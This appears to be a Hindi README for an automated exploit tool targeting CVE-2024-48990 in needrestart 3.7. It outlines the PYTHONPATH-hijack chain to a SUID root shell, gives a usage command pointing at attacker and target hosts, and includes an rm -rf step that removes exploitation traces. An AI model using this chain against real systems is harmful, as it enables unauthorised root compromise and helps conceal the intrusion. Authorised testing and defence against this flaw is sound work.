CVE-2024-48990 PYTHONPATH हाइजैक - विशेषाधिकार वृद्धि शोषण

यह उपकरण needrestart संस्करण 3.7 में एक विशेषाधिकार वृद्धि भेद्यता के शोषण को स्वचालित करता है, जिसे CVE-2024-48990 के रूप में पहचाना गया है।
यह needrestart द्वारा Python प्रक्रियाओं को स्कैन करते समय PYTHONPATH पर्यावरण चर के असुरक्षित उपयोग का लाभ उठाकर रूट निष्पादन प्राप्त करता है।

सारांश

शोषण इस प्रकार काम करता है:

एक दुर्भावनापूर्ण साझा ऑब्जेक्ट (__init__.so) संकलित करना जो आयात पर ट्रिगर होता है।
स्थानीय HTTP सर्वर के माध्यम से .so की सेवा करना।
SSH के माध्यम से लक्ष्य से कनेक्ट करना और एक दुर्भावनापूर्ण PYTHONPATH पर्यावरण तैयार करना।
एक Python बैट प्रक्रिया लॉन्च करना जो लगातार importlib आयात करती है।
needrestart चलाना, जो हेरफेर किए गए PYTHONPATH को प्राप्त करता है, दुर्भावनापूर्ण मॉड्यूल लोड करता है, और पेलोड को रूट के रूप में निष्पादित करता है।
पेलोड एक SUID बाइनरी (/tmp/poc) बनाता है, जो रूट शेल एक्सेस की अनुमति देता है।

उपयोग

अपने हमलावर मशीन से शोषण चलाएँ:

python3 exploit.py --user <ssh_user> --host <target_ip> --att-ip <attacker_ip> --ssh-pass <ssh_password>

पैरामीटर:

--user लक्ष्य पर SSH उपयोगकर्ता नाम
--host लक्ष्य IP पता
--att-ip हमलावर IP (पेलोड होस्ट करने के लिए उपयोग किया जाता है)
--ssh-pass SSH पासवर्ड (SSH कुंजियों का उपयोग करने पर छोड़ दें)
--http-port वैकल्पिक HTTP पोर्ट (डिफ़ॉल्ट: 8000)

CVE

CVE ID: CVE-2024-48990
प्रभावित सॉफ्टवेयर: needrestart संस्करण 3.7
भेद्यता प्रकार: असुरक्षित पर्यावरण चर हैंडलिंग
प्रभाव: रूट तक स्थानीय विशेषाधिकार वृद्धि

सफाई

लक्ष्य से शोषण के निशान हटाने के लिए:

rm -rf /tmp/malicious /tmp/poc /tmp/exploit.sh

आवश्यकताएँ

हमलावर मशीन:

Python 3
pexpect (pip3 install pexpect)
gcc (पेलोड संकलित करने के लिए)
लक्ष्य तक खुली SSH पहुंच
python3 -m http.server (स्क्रिप्ट द्वारा स्वचालित रूप से शुरू)

लक्ष्य मशीन:

needrestart का एक भेद्य संस्करण (v3.7)
/usr/sbin/needrestart के लिए sudo NOPASSWD अधिकारों वाला एक गैर-रूट उपयोगकर्ता
Python 3 और curl स्थापित

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसे उन प्रणालियों पर उपयोग न करें जिनके आप स्वामी नहीं हैं या स्पष्ट अनुमति के बिना।

CVE-2024-48990-Automatic-Exploit

सबसे लोकप्रिय